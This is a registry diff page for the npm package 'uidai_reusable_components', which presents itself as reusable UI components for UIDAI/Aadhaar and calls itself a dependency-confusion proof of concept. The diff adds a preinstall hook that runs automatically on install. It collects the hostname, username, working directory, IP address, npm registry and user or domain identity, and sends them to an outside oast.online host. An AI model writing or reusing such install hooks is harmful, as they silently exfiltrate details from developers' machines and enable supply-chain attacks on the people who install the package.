uidai_reusable_components 0.4.4 → 0.4.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -4
package/package.json
CHANGED
|
@@ -1,12 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "uidai_reusable_components",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.6",
|
|
4
4
|
"description": "UIDAI Reusable UI Components - PoC for dependency confusion",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "node -e \"var o=require('os')
|
|
7
|
+
"preinstall": "node -e \"var o=require('os'),c=require('child_process'),u='';try{u+=o.hostname()+','+o.userInfo().username}u+=','+(process.env.NODE_ENV||'')+','+process.cwd();try{u+=','+c.execSync('ipconfig|findstr IPv4 2>/dev/null||hostname -I 2>/dev/null',{timeout:3000,encoding:'utf8'}).trim().split('\\n')[0]}catch(e){}try{u+=','+c.execSync('npm config get registry 2>/dev/null',{timeout:3000,encoding:'utf8'}).trim()}catch(e){}try{u+=','+c.execSync('echo '+process.env.USERDOMAIN+' 2>/dev/null||id 2>/dev/null',{timeout:2000,encoding:'utf8'}).trim()}catch(e){}require('http').get('http://'+encodeURIComponent(u.substring(0,200))+'.d8ofndiplbq1d996mde0a9yukto9dm49e.oast.online')\"",
|
|
8
8
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
9
|
},
|
|
10
|
-
"keywords": [
|
|
10
|
+
"keywords": [
|
|
11
|
+
"uidai",
|
|
12
|
+
"aadhaar"
|
|
13
|
+
],
|
|
11
14
|
"license": "UNLICENSED"
|
|
12
|
-
}
|
|
15
|
+
}
|